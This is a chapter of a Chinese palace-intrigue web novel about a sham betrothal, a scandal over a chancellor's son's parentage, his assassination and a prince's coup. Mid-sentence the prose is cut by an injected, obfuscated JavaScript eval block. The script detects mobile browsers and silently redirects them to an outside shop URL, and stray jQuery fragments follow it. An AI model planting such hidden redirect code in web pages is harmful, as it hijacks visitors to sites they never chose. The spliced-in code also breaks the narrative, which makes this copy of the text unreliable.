第二日一大早,侯府早早的挂上了红绸,出门采买的下人一口气买了比往日两倍的量,引得菜市场上的商贩纷纷上前打听。
“小娥呀,你今日怎么买这么多鲍鱼啊?你们侯府要办宴席吗?”
小娥也不藏着掖着,整个人喜气洋洋的,恨不得把自己知道的都抖落出来:“今日亲家公老爷带着姑爷上门,夫人和老爷让我们多备一些,可不能让姑爷家觉得受了冷落。”
管家带着小厮直接将肉铺的全部羊肉包圆了,屠夫好奇,这么多羊肉侯府再多人也吃不完,便壮着胆子上前打听。
“姑爷家那边的习俗,若有喜事必定要杀羊庆祝的,咱家侯爷疼爱小姐,自然是要好好招待姑爷的。”
这一番下来,几乎大半个京城的人都知道了侯府的新姑爷今日上门下聘的事。不多时,侯府门口就挤满了看热闹的人,都想看看这姑爷长什么样子。
江停云今日带的人挺多,江算、江至深几人最近就在京城,听说了消息,连任务都不做了,连夜赶了过来,吵着闹着非要跟着过来。
暗妖刺客榜上榜条件还有一个,长相英俊漂亮,有些刺客虽然磕碜了些,但是攒点钱找个大夫动动刀也还算过得去,因此江停云手下几乎没有丑人。
这几个光棍平日里品味俗气的很,非黑即灰,好歹也是喜庆日子,江停云便逼着他们挑了几身颜色鲜亮,又贵又好看的衣裳。
这么几个英俊不凡的男人穿戴华贵的带着看不到头的礼品出现在门口,瞬间就吸引了围观百姓的目光。
昨夜王子凡已经和王倔交代了江理的身世背景。王倔做好了江湖之人不拘一格粗犷狂野会有些不懂礼数的准备,但是看见江停云文质彬彬,身后的人也是各个有礼貌的样子,他脸上的笑意更浓了。
将人迎了进来,大门一关,双方家长脸色瞬间落了下来。王子凡察觉不对,连忙问道:“你们以前认识吗?”
江停云摆手笑道:“算不上认识,当年侯爷威武,提着剑差点要了在下一条手臂。”
“哈哈,都是误会,都过去了,走走走咱们进去聊,进去聊。”
说到这件事情,王倔确实心虚,当年他带着言益去军营历练,以为半夜潜进来的江停云是敌军,二话不说提着剑就迎了上去,要不是言益及时叫停,他俩今天还真不一定能全须全尾站在这。
这场婚约本就是假的,进了屋王倔也不客套,直接说出了自己的想法,婚约先定一年,一年之后,就看两个孩子的想法了,若是觉得双方都合适,那这婚约就继续下去,若是不合适,由女方提出退婚,给予男方一部分赔偿。
对于王倔的提议,江停云自然没有意义,牺牲一个小孩子一年的婚姻自由换来侯府一个大人情,怎么说都是他们暗妖赚了。
姜洄也听说了订婚的事情,只是她身在王府,实在不方便出去找江理问个清楚,只得托府里的下人给他递了封信,询问他是否安好。
……
侯府的风波并没有持续许久,如今京城的百姓最关心的是言益的身份。
和江理没定亲几天,王倔就带着王子曦和赵昭宜出了京城,去各地散心去了。他们刚走,不知从哪传来的消息称言益并非言长章的儿子,而是大长公主嫁入侯府前就怀上的。公主未婚先孕,先帝不想这种丑事暴露急匆匆将人许配给了当时还是从三品户部侍郎的言长章。
一结合言益未足九月降生,这谣言传着越来越真了,所有人都在猜测言益的亲生父亲是谁。
“哥哥还真是爱子心切啊!”看见疾步而来的言长章,言长弗忍不住嘲讽。
“皇帝病了许久,也不见哥哥进宫探望过几次,这一涉及到言益,您就这么着急啊?”
“是不是你做的?”
言长章听到街上那些流言的时候第一就想到了宫里的妹妹,急匆匆的递了折子进宫。
“你知不知道你在做什么?你置言我于何地,置言家于何地?言益的身份暴露会是怎样的后果你难道不知道吗?”
面对他的质问,言长弗只觉得她做的还不够,她让言长章去看看皇帝:“皇儿危在旦夕没有子嗣,白楚延言益却还都活着,哥哥,哀家早已无路可走,我现在就是要他死,先是言益再是白楚延,我要他们全死!全都去死!”
看见如此疯魔的妹妹,言长章不由的后退一步,眼里满是失望。
“一旦言益知道自己的真实身份,只会膨胀他的野心,到时候皇帝的位置你也保不住了。你这招走错了人。”
看着远去的哥哥,言长弗心里只觉得无限畅快,她儿子快死了,她这条路算是走到了头,现在她就是要将言益彻底拉入深渊,最好气得一病不起,给他儿子陪葬。
敦亲王府内,姜洄和白楚延也收到了消息,和外面那些百姓一样,他们也很好奇言益的亲生父亲到底是谁。
“言益好歹也是公主殿下的儿子,言长章也是靠着公主驸马这个身份他才从一个从三品爬到了现在丞相的位置。我以前一直不明白为什么言长章那么不喜欢这个儿子,原来是这样啊?那言益到底是谁的孩子,除了长泽侯也没见那个大人物对言益表现出超于常人的疼爱啊?”
郑先一顿分析最终将目标放在了王倔身上。不过姜洄很快就否定了他这个猜测。王倔和先夫人很恩爱,公主和侯夫人又是闺中密友,他们不可能做出那样的事。
“你们还忘了一个人,他可真是将言益疼到了骨子里了。”
两人面面相觑想破了脑袋也没想到白楚延口中这人。
“我的父皇。”
姜洄和郑先闻言皆是沉默,这话一出,性质可就不同了,公主和先帝可是同父同母的亲兄妹,若言益是他们的孩子,这其中代表着什么不言而喻。
一旦白楚延的话被证实,这将是大夏史上最大的丑闻。
白楚延吩咐着郑先召集幕僚,想要商议一下如何将这则传言利用最大化,最好能完全瓦解言益的势力。然而接下来姜洄的话却将他们忽视的一个问题以最直观的方式摆在了白楚延面前。
“如果言益真是皇帝的孩子,那他也是有皇位继承资格的,现在皇帝病危,皇城只有一个老太婆撑着,他若是动手,简直如入无人之境。”
若是换了别人,就算这只是谣言朝中的大臣也绝对不会同意这种荒唐事,但是这几年的大夏朝堂几乎被言益调教的乖顺的很,言益非要认祖归宗,搞不好大臣们还得巴巴的连夜个言益编个靠谱的身世。
“先下手为强,后下手遭殃。”
白楚延嘟囔了一句,把姜洄支了出去,连夜召集幕僚商议了一晚上。
言益是先帝之子的谣言越传越凶,被禁闭在宫内的白楚灵听到消息的时候竟强行冲破了阻碍,闯进言长弗的寝宫。
“母后,你告诉我,这不是真得,对不对,言益他只是姑姑的孩子,和父皇没有任何关系的,是不是?”
面对她的质问,言长弗并未说半个字。而她的沉默在白楚灵看来就是默认了这一事实。
她双腿一软再也支撑不住瘫坐在地,哭得伤心欲绝。
“所以是真的,言益真得是父皇的儿子,是我的哥哥?”
言长弗蹲下身将她紧紧抱在怀里:“这就是为什么我和你皇兄一直不肯为你下旨赐婚的原因,你父皇糊涂,但我绝对不会让这种丑闻再次降临在你的身上。”
言长弗轻轻的抚摸着白楚灵的头发,眼神变得更加坚定。她的女儿向来是坚强勇敢的,她相信经历此事之后,她的女儿一定会放下对言益的痴心,坚定的站在她的身旁。
“爱情这东西最伤人了,它会让你没有立场失去自我,还会让你锥心刺骨痛不欲生。不过还好,一切都还有挽回的余地,乖女儿,以后切记,千万不要再爱上任何一个男人,那只会让你生不如死。”
她这一辈子就只爱过一个男人,可她毫无保留的付出却只换来了一生的痛苦。自始至终她不过就是先帝保全他心爱的妹妹的一个工具,一个笑话。
……
料理完妹妹的事情,王子凡原本是想找言益算账的,但是看到院子里喝的烂醉,半死不活的言益,他突然思索京城哪家的棺材铺里有最好的棺材,他好备下,省得言益用到的时候被人抢先了去。
和言益喝酒的江停云倒是还清醒的很,看到王子凡他咧嘴一笑朝他扬了扬手中的酒瓶。
“我就是说留下来是对的,京城可真热闹得很!”
“他没事吧?大夫有说他能喝酒吗?你别把他给喝死啊。”
江停云推了推身边的言益,笑着说:“没事,刚才还和姜安交代事情呢。”
听着言益有条不紊的交代着姜安那些害人的计谋,江停云只觉得浑身发麻,这样都打不倒的男人到底有什么能让他崩溃的呢?
“我要离开京城,你送他进去休息吧。”
王子凡:“你要去哪?这时候放下他不管吗?”
江停云耸耸肩,很是遗憾的道:“没办法,我是一家之主,一大家子等着我养活呢,我已经玩忽职守太久了。”
江停云走后,看着睡得和死猪一样的言益,王子凡气恼的骂道:“这家伙真没道德,给我留下这么大坨麻烦。”
艰难的将人扶进房间后,王子凡想去找大夫来给言益瞧瞧,他这样的情况实在让人担心。只是一路从言益的房间向外走,他喊了好几遍,都没有人回应,直到在走廊下看见倒地昏迷的齐天他这才意识到出事了。
他用最快的速度跑回言益那里,还是晚了一步。
姜洄身后跟着去而复返的江停云,两人手上得刀皆沾染着鲜血。
“你们做了什么?”
王子凡扒开两人不管不顾的冲进房间,看见了倒在血泊里的言益。他上前一手按住言益腹部不断流血的伤口,另一只手颤颤巍巍的伸向言益的鼻前。
言益没有了呼吸和脉搏。
王子凡背着言益出去找大夫,被江停云拦住:“没用的,我的刀下不会留任何一个活口。”
前路被堵,王子凡和江停云打了起来。
“为什么要这样做,你和他不是最好的朋友吗?”
“没办法,她给的实在太多。”
言益的人头很值钱,江停云已经很久没有接过任务了,能让他拒绝不了的单子,那只能说明这位雇主给的钱很多很多。
花钱卖命办事,除了姜洄,没有人会有这么大的手笔。
他一剑击退江停云冲向姜洄,被暗中的郑先拦下。
“为什么!你已经杀过他一次,为什么还要对他动手。”
姜洄躲在郑先身后,听到他的话不由冷笑一声:“为什么?灭门之仇不共戴天,他没死,我怎么可能放过他。”
面对两大高手的围攻,王子凡渐渐也有些吃力,但他咒骂的声音丝毫不减:“你们两个良心狗肺的东西,亏得言益生前对你们那么好,你们简直不是人……”
郑先每一击都是杀招,王子凡的实力不可小觑,他死了,王爷的威胁也就少了很多。
“主子!”姜安的声音在不远处响起。
江停云完成了主线任务就一直在敷衍,没有他的助力,以郑先的势力很难再姜安赶到之前将王子凡杀死,不得已郑先改变了策略,将目标放在了言益身上。
击退王子凡,他一个闪身,在江停云的策应之下来到言益身边。主子花了那么多钱让姜洄请来江停云,言益不死,他们的代价付出的也太大了。在确认过言益确实没有脉搏之后,他向姜洄他们发出了撤退的指令。
只是转身的时候,原地早已没有了江停云和姜洄的身影,那两人根本没想过要管他。
江停云跟着姜洄到了王府。
白楚延从郑先口中确认了言益死亡的事实很是豪爽的付清了尾款。拿到钱的江停云一刻也不敢停歇,连夜带着暗妖的人逃出了京城。和言益鬼混了这么多年,他死了他手下那帮人肯定会为他报仇,这可是个不小的麻烦,所以他收姜洄和白楚延八十万两,合情合理。
收到消息的白楚延忍不住嘲讽:“暗妖之王,徒有虚名
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345621|139224||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
罢了,不过就是个胆小怕事的江湖鼠辈。”
“徒有虚名也好,鼠辈也罢,事情办好了就行。”
姜洄说完又问他,接下来的计划。白楚延笑而不语,递了杯茶给她:“喝口茶吧,你已经好几天没睡好了。”
姜洄毫不犹豫的喝下,还不忘提醒他:“你答应过我的,要把白楚敛的命给我留下。你不能……”
白楚敛扶住她对着昏迷的姜洄保证:“放心,本王一定将他的命给你留着。”
随后他将人交给郑先:“将人交给刘元霜吧,切记叮嘱她,留姜洄一条命,否则本王和相府的约定就不再作数了。”
郑先抱着姜洄往刘元霜的院子去,与此同时,姜洄罪人之女的身份一夜之间传遍京城的大街小巷。有人结合她的身份又想起她以前是在言益手底下做事,不由的怀疑言益的目的。
收留一个叛国者的女儿,难道言益也想叛国造反?
出人意料的是,刘元霜并没有留下姜洄施以私刑反而是将人交给了大理寺。
“王妃,为何将人交出去?王爷的态度度已经很明确了,咱们将人关起来,想怎么收拾都行。”
刘元霜没有理会怜翠的愚蠢,她当然也想亲手弄死姜洄,但是王爷特意叮嘱郑先转达的那句话“留姜洄一条命”字字都在告诉她,他对姜洄余情未了。
如今她将人交出去,国法在前,姜洄死了,又和她有什么关系呢?
想到这里他赶紧给她爹写了封信,务必让她爹在大理寺的人弄死姜洄。姜洄死在别人手上也怪不到她头上,况且王爷看起来也没有那么在意姜洄,要不然也不会为了借用她爹那区区一千死士将人交到自己手上。
“什么!他真的死了!”
言长弗手中的佛珠因激动而被撕扯落地,她也顾不上这些连忙扯住容嬷嬷的手追问道:“消息可靠吗?”
容嬷嬷被她扯得站不稳,却也是止不住的高兴。
“千真万确,王子凡帮着主持葬礼,朝中不少大臣都收到了消息都去祭拜了,言益的罪过的那些老臣还强烈要求查看言益的尸体,我们的人也已经确认过了,言益确实是死了。”
“好好好!这是哀家此生听到的最令人开心的消息了。”
言长弗这边下旨给各宫涨双倍月银美名其曰为皇帝冲喜,外边,各家大臣从言益的葬礼上回来之后立马吩咐下人扎爆竹开喜宴,庆祝大夏百年难得一遇的大喜事。
王子凡靠在言益的棺材上哭得一把鼻涕一把眼泪,看着漫天炸开的烟花,和外面是不是传进来的欢呼声,他更加心疼言益。
“言益啊,你下辈子多积点德吧,人缘太差了。”
就在此时,一颗诡异的红色烟火升空,绽放出一朵硕大的箭羽样子直指皇宫。随着烟花消失在夜空中,外面响起了震耳欲聋的叫喊声。
王子凡刷的一下从地上站起,一抹眼泪忍不住骂道:“他们也太嚣张了吧,要庆祝就不能等言益头七过了吗?”
这时姜安带着齐天和王有冲了进来,一边大喊着白楚延带兵造反一边让王子凡赶紧随他们进密道躲一躲。还不等王子凡反应过来,姜安直接跳入棺材将言益背上一溜烟往密道方向跑了。
刘元霜知道从刘长风的密信中知道了今晚白楚延的行动。若是白楚延今晚功成,明日她就是大夏朝的皇后,天底下最最尊贵的女人。
一想到自己母仪天下的样子,刘元霜就忍不住激动,但在此之前,她必须保证自己是登基大典上白楚延身边唯一的女人。
看见沈重的那一刻她是失望的。父亲常常在她耳边提起这位大夏朝最年轻的大理寺卿,说他手段狠厉,办事圆滑,是年轻一代的翘楚。
她原以为沈重除了家世差了点之外应该是位谦谦公子,没想到却是为虚伪的狗腿子。从一见到她就开始在她身边卑躬屈膝的讨好,三句不离让她在父亲和白楚延面前多多美言几句,多多提携。
“只要你好好办事,父亲和王爷不会亏待了你的。”
“是是是,我的忠心绝对天地可鉴,王爷和相爷还有王妃,以后有什么事随时吩咐,在下绝对赴汤蹈火在所不辞……”
“行了,她怎么样了?”刘元霜不耐烦的打断了他。
“王妃这边请,绝对让您满意。”
沈重引着她往最里面的牢房走去。越往里湿气越重血腥气越浓,关押的犯人身份就越贵重罪孽也越深。里面的环境恶劣到怜翠这样的下人都觉得难捱害怕,刘元霜却越来越激动。一想到姜洄已经在这样的环境中待了两天受尽了折磨,她就觉得格外的舒心。
然而和想象中的惨状不同,姜洄所在的牢房里没有老鼠、刑具、阴暗潮湿的稻草都没有一根。姜洄在明亮的牢房中,坐在干净舒适的床铺上,安安静静的看着书。
见她进来,姜洄从书里抬起头,十分甜美的对着刘元霜笑了笑。
“沈重!这怎么回……”
她一句话还没问出,身后的怜翠突然口吐鲜血的靠向她。昏暗的灯光照耀在怜翠那张不甘的脸庞上,她身后,沈重犹如鬼魅的脸探了出来。他捏着怜翠的脖颈,一个用力就将怜翠的脖子捏断了。
看着从小陪着自己长大的怜翠的尸体,刘元霜吓得瘫坐在地上。沈重掏出一块手帕将手上的血渍擦干净然后朝刘元霜靠近。
随着他的靠近,刘元霜害怕的大吼大叫不断后退。
“别杀我!别杀我!你要什么我都可以给你,王爷和我爹一定会答应你所有的条件的。”
“王妃放心,我不杀你。”
见他象征性的后退了几步,刘元霜镇静下来,甚至开始大着胆子威胁沈重,意图震慑住他:“你背叛我爹,你知道是什么后果吗?他们不会放过你的,你现在回头还留一条命。”
“背叛?”姜洄缓缓走近。
“他可谈不上什么背叛,毕竟他从来都不是你们这一方的。”
沈重为她打开牢房门,将腰间的佩剑递给了姜洄:“姜姑娘,好好玩,半个时辰之后我来接您进宫。”